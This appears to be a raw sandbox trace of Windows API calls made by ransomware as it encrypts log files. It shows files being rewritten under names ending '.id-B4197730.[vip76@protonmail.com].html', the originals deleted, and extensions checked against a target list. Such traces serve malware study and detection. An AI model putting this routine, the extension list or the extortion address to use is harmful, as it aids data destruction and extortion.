	[0076.217] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.226] GetLastError () returned 0x0
	[0076.226] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.229] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.231] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.231] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x132, lpOverlapped=0x0) returned 1
	[0076.231] SetEndOfFile (hFile=0x390) returned 1
	[0076.231] CloseHandle (hObject=0x390) returned 1
	[0076.233] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.233] SetEndOfFile (hFile=0x370) returned 1
	[0076.234] CloseHandle (hObject=0x370) returned 1
	[0076.234] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.235] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1
	[0076.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.235] lstrlenW (lpString=".doc") returned 4
	[0076.235] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.235] lstrlenW (lpString=".docx") returned 5
	[0076.235] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.235] lstrlenW (lpString=".pdf") returned 4
	[0076.235] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.235] lstrlenW (lpString=".xls") returned 4
	[0076.235] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.235] lstrlenW (lpString=".xlsx") returned 5
	[0076.235] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.235] lstrlenW (lpString=".ppt") returned 4
	[0076.235] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.235] lstrlenW (lpString=".zip") returned 4
	[0076.235] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.235] lstrlenW (lpString=".rar") returned 4
	[0076.235] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.235] lstrlenW (lpString=".bz2") returned 4
	[0076.236] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString=".7z") returned 3
	[0076.236] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.236] lstrlenW (lpString=".dbf") returned 4
	[0076.236] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.236] lstrlenW (lpString=".1cd") returned 4
	[0076.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.236] lstrlenW (lpString=".jpg") returned 4
	[0076.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.236] lstrlenW (lpString=".doc") returned 4
	[0076.236] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString=".docx") returned 5
	[0076.236] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.236] lstrlenW (lpString=".pdf") returned 4
	[0076.236] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString=".xls") returned 4
	[0076.236] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString=".xlsx") returned 5
	[0076.236] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.236] lstrlenW (lpString=".ppt") returned 4
	[0076.236] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.236] lstrlenW (lpString=".zip") returned 4
	[0076.236] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString=".rar") returned 4
	[0076.236] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.236] lstrlenW (lpString=".bz2") returned 4
	[0076.237] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.237] lstrlenW (lpString=".7z") returned 3
	[0076.237] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.237] lstrlenW (lpString=".dbf") returned 4
	[0076.237] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.237] lstrlenW (lpString=".1cd") returned 4
	[0076.237] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.237] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0076.237] lstrlenW (lpString=".jpg") returned 4
	[0076.237] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.237] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.237] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47
	[0076.237] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.237] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0076.237] CloseHandle (hObject=0x370) returned 1
	[0076.237] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0076.238] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.238] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.238] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.238] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.238] GetLastError () returned 0x0
	[0076.238] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.241] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.243] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.243] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x132, lpOverlapped=0x0) returned 1
	[0076.243] SetEndOfFile (hFile=0x390) returned 1
	[0076.243] CloseHandle (hObject=0x390) returned 1
	[0076.245] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.245] SetEndOfFile (hFile=0x370) returned 1
	[0076.247] CloseHandle (hObject=0x370) returned 1
	[0076.247] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.247] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1
	[0076.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.247] lstrlenW (lpString=".doc") returned 4
	[0076.247] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.247] lstrlenW (lpString=".docx") returned 5
	[0076.247] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.247] lstrlenW (lpString=".pdf") returned 4
	[0076.247] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.247] lstrlenW (lpString=".xls") returned 4
	[0076.247] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.247] lstrlenW (lpString=".xlsx") returned 5
	[0076.248] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.248] lstrlenW (lpString=".ppt") returned 4
	[0076.248] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.248] lstrlenW (lpString=".zip") returned 4
	[0076.248] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString=".rar") returned 4
	[0076.248] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString=".bz2") returned 4
	[0076.248] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString=".7z") returned 3
	[0076.248] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.248] lstrlenW (lpString=".dbf") returned 4
	[0076.248] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.248] lstrlenW (lpString=".1cd") returned 4
	[0076.248] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.248] lstrlenW (lpString=".jpg") returned 4
	[0076.248] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.248] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.248] lstrlenW (lpString=".doc") returned 4
	[0076.248] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString=".docx") returned 5
	[0076.248] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.248] lstrlenW (lpString=".pdf") returned 4
	[0076.248] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.248] lstrlenW (lpString=".xls") returned 4
	[0076.249] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString=".xlsx") returned 5
	[0076.249] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.249] lstrlenW (lpString=".ppt") returned 4
	[0076.249] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.249] lstrlenW (lpString=".zip") returned 4
	[0076.249] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString=".rar") returned 4
	[0076.249] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString=".bz2") returned 4
	[0076.249] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString=".7z") returned 3
	[0076.249] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.249] lstrlenW (lpString=".dbf") returned 4
	[0076.249] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.249] lstrlenW (lpString=".1cd") returned 4
	[0076.249] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0076.249] lstrlenW (lpString=".jpg") returned 4
	[0076.249] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.249] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.249] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46
	[0076.249] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.250] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0076.250] CloseHandle (hObject=0x370) returned 1
	[0076.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0076.250] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.250] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.250] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.250] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0076.251] GetLastError () returned 0x0
	[0076.251] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.645] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.647] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.647] WriteFile (in: hFile=0x390, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x130, lpOverlapped=0x0) returned 1
	[0076.647] SetEndOfFile (hFile=0x390) returned 1
	[0076.808] CloseHandle (hObject=0x390) returned 1
	[0076.890] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.890] SetEndOfFile (hFile=0x370) returned 1
	[0076.891] CloseHandle (hObject=0x370) returned 1
	[0076.891] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.892] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1
	[0076.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.892] lstrlenW (lpString=".doc") returned 4
	[0076.892] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString=".docx") returned 5
	[0076.892] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.892] lstrlenW (lpString=".pdf") returned 4
	[0076.892] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString=".xls") returned 4
	[0076.892] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString=".xlsx") returned 5
	[0076.892] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.892] lstrlenW (lpString=".ppt") returned 4
	[0076.892] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.892] lstrlenW (lpString=".zip") returned 4
	[0076.892] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.892] lstrlenW (lpString=".rar") returned 4
	[0076.893] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".bz2") returned 4
	[0076.893] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".7z") returned 3
	[0076.893] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.893] lstrlenW (lpString=".dbf") returned 4
	[0076.893] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.893] lstrlenW (lpString=".1cd") returned 4
	[0076.893] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.893] lstrlenW (lpString=".jpg") returned 4
	[0076.893] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.893] lstrlenW (lpString=".doc") returned 4
	[0076.893] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".docx") returned 5
	[0076.893] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.893] lstrlenW (lpString=".pdf") returned 4
	[0076.893] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".xls") returned 4
	[0076.893] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString=".xlsx") returned 5
	[0076.893] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.893] lstrlenW (lpString=".ppt") returned 4
	[0076.893] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.893] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.893] lstrlenW (lpString=".zip") returned 4
	[0076.893] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString=".rar") returned 4
	[0076.894] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString=".bz2") returned 4
	[0076.894] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString=".7z") returned 3
	[0076.894] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.894] lstrlenW (lpString=".dbf") returned 4
	[0076.894] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.894] lstrlenW (lpString=".1cd") returned 4
	[0076.894] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.894] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0076.894] lstrlenW (lpString=".jpg") returned 4
	[0076.894] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.894] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.894] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66
	[0076.894] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.895] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0076.895] CloseHandle (hObject=0x370) returned 1
	[0076.895] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20
	[0076.895] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.895] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0076.895] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.895] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.895] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.896] GetLastError () returned 0x0
	[0076.896] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.898] WriteFile (in: hFile=0x38c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.900] ReadFile (in: hFile=0x370, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
